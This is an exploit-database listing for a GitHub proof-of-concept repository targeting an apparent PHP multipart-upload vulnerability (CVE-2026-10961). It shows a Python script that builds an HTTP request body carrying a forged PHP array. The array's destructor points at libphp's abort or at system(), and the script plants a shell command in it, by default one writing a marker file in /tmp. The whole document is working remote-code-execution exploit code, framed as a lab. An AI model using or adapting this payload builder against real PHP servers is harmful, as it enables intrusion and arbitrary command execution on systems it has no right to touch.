Exploit database

GH-30e76a71e7d985cfcfb3db9ddfb9e427

dinosn/php-cve-2026-10961x-lab-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-10961

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files16
dinosn/php-cve-2026-10961x-lab-pocRevision 6e0989762b58

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

scripts/build_body.py

Python · 7,409 bytes
#!/usr/bin/env python3
"""Build the constrained two-placement bodies for the dedicated PHP lab."""

from __future__ import annotations

import argparse
import hashlib
import json
import os
import re
import struct
from pathlib import Path


BOUNDARY = b"----php-cve-lab-nested-1867"
PAD_HEADER = b'name="pad"\r\n\r\n'
PAD_LENGTH = 5 * 1024 * 1024
CARRIER_OFFSET = 0x4F4800
ABORT_PLT = 0x18AB90
OFF_FAKE_ARRAY = 0x1000
OFF_FAKE_BUCKET = 0x2000


def qword(value: int) -> bytes:
    return struct.pack("<Q", value)


def dword(value: int) -> bytes:
    return struct.pack("<I", value)


def sha256_bytes(value: bytes) -> str:
    return hashlib.sha256(value).hexdigest()


def parse_int(value: str) -> int:
    return int(value, 0)


def locate_pad(body: bytes) -> tuple[int, int]:
    header_at = body.index(PAD_HEADER)
    start = header_at + len(PAD_HEADER)
    end = body.index(b"\r\n--" + BOUNDARY, start)
    if end - start != PAD_LENGTH:
        raise ValueError(f"unexpected pad length: {end - start}")
    return start, end


def marker_command(token: str, path: str) -> bytes:
    if not re.fullmatch(r"[A-Za-z0-9_.-]{1,80}", token):
        raise ValueError("marker token must use only letters, digits, dot, underscore, or dash")
    if not re.fullmatch(r"/tmp/[A-Za-z0-9_.-]{1,100}", path):
        raise ValueError("marker path must be a simple path directly below /tmp")
    command = f"printf {token} >{path}".encode("ascii") + b"\x00"
    if len(command) > 64:
        raise ValueError("fixed marker command exceeds the 64-byte fake bucket")
    return command


def fake_array(fake_bucket: int, destructor: int) -> bytes:
    result = bytearray(56)
    result[0:4] = dword(1)
    result[4:8] = dword(0x00000007)
    result[8:12] = dword(0)
    result[12:16] = dword(0xFFFFFFF8)
    result[16:24] = qword(fake_bucket)
    result[24:28] = dword(1)
    result[28:32] = dword(1)
    result[32:36] = dword(8)
    result[36:40] = dword(0)
    result[40:48] = qword(0)
    result[48:56] = qword(destructor)
    return bytes(result)


def validate_address(name: str, value: int, page_aligned: bool = False) -> None:
    if value <= 0 or value >= (1 << 63):
        raise ValueError(f"{name} is outside the expected x86_64 user address range")
    if page_aligned and value & 0xFFF:
        raise ValueError(f"{name} must be page aligned")


def place_for_candidates(
    pad: bytearray,
    slots: list[int],
    absolute_address: int,
    payload: bytes,
) -> list[int]:
    offsets: list[int] = []
    for slot in slots:
        offset = CARRIER_OFFSET + absolute_address - slot
        if offset < 0 or offset + len(payload) > len(pad):
            raise ValueError(f"placement outside pad for slot {slot:#x}")
        pad[offset : offset + len(payload)] = payload
        offsets.append(offset)
    return offsets


def build(
    template_path: Path,
    output_path: Path,
    mode: str,
    slots_input: list[int],
    libphp: int,
    system_address: int,
    marker_path: str,
    marker_token: str,
) -> dict[str, object]:
    slots = sorted(set(slots_input))
    if len(slots) not in (1, 2, 3):
        raise ValueError("one, two, or three distinct slot candidates are required")
    if any(high - low != 0x50 for low, high in zip(slots, slots[1:])):
        raise ValueError("slot candidates must form a contiguous 0x50-byte sequence")
    for slot in slots:
        validate_address("slot", slot)
    validate_address("libphp", libphp, page_aligned=True)
    validate_address("system", system_address)

    template = template_path.read_bytes()
    pad_start, pad_end = locate_pad(template)
    pad = bytearray(template[pad_start:pad_end])

    anchor = slots[-1]
    array_address = anchor + OFF_FAKE_ARRAY
    bucket_address = anchor + OFF_FAKE_BUCKET

    if mode == "abort":
        destructor = libphp + ABORT_PLT
        bucket = b"B" * 64
    elif mode == "marker":
        destructor = system_address
        bucket = marker_command(marker_token, marker_path).ljust(64, b"\x00")
    elif mode == "negative":
        destructor = system_address
        bucket = b"N" * 64
    else:
        raise ValueError(f"unsupported mode: {mode}")

    pad[CARRIER_OFFSET : CARRIER_OFFSET + 8] = qword(array_address)
    type_info = 0x00000007 if mode == "negative" else 0x00000707
    pad[CARRIER_OFFSET + 8 : CARRIER_OFFSET + 12] = dword(type_info)
    pad[CARRIER_OFFSET + 12 : CARRIER_OFFSET + 32] = b"\x00" * 20

    array_blob = fake_array(bucket_address, destructor)
    array_offsets = place_for_candidates(pad, slots, array_address, array_blob)
    bucket_offsets = place_for_candidates(pad, slots, bucket_address, bucket)

    body = bytearray(template)
    body[pad_start:pad_end] = pad
    if BOUNDARY in pad:
        raise ValueError("multipart boundary unexpectedly appears inside pad")

    output_path.parent.mkdir(parents=True, exist_ok=True)
    output_path.write_bytes(body)
    os.chmod(output_path, 0o600)

    metadata: dict[str, object] = {
        "mode": mode,
        "template": str(template_path),
        "template_sha256": sha256_bytes(template),
        "output": str(output_path),
        "output_sha256": sha256_bytes(body),
        "body_size": len(body),
        "pad_start_in_body": pad_start,
        "pad_length": len(pad),
        "carrier_offset_decimal": CARRIER_OFFSET,
        "carrier_offset_hex": f"{CARRIER_OFFSET:#x}",
        "slot_candidates": [f"{slot:#x}" for slot in slots],
        "anchor_slot": f"{anchor:#x}",
        "libphp_base": f"{libphp:#x}",
        "system_address": f"{system_address:#x}",
        "type_info": f"{type_info:#x}",
        "slot_hex": bytes(pad[CARRIER_OFFSET : CARRIER_OFFSET + 32]).hex(),
        "fake_array_address": f"{array_address:#x}",
        "fake_bucket_address": f"{bucket_address:#x}",
        "destructor_address": f"{destructor:#x}",
        "array_file_offsets": [f"{offset:#x}" for offset in array_offsets],
        "bucket_file_offsets": [f"{offset:#x}" for offset in bucket_offsets],
        "fake_array_hex": array_blob.hex(),
        "fake_bucket_hex": bucket.hex(),
        "marker_path": marker_path if mode == "marker" else None,
        "marker_token": marker_token if mode == "marker" else None,
    }
    sidecar = output_path.with_suffix(output_path.suffix + ".json")
    sidecar.write_text(json.dumps(metadata, indent=2, sort_keys=True) + "\n", encoding="utf-8")
    os.chmod(sidecar, 0o600)
    return metadata


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--template", required=True, type=Path)
    parser.add_argument("--output", required=True, type=Path)
    parser.add_argument("--mode", required=True, choices=("negative", "abort", "marker"))
    parser.add_argument("--slot", required=True, action="append", type=parse_int)
    parser.add_argument("--libphp", required=True, type=parse_int)
    parser.add_argument("--system", required=True, type=parse_int)
    parser.add_argument("--marker-path", default="/tmp/php-rfc1867-rce-proof.txt")
    parser.add_argument("--marker-token", default="PHP_RFC1867_RCE_LAB")
    args = parser.parse_args()

    metadata = build(
        args.template,
        args.output,
        args.mode,
        args.slot,
        args.libphp,
        args.system,
        args.marker_path,
        args.marker_token,
    )
    print(json.dumps(metadata, sort_keys=True))


if __name__ == "__main__":
    main()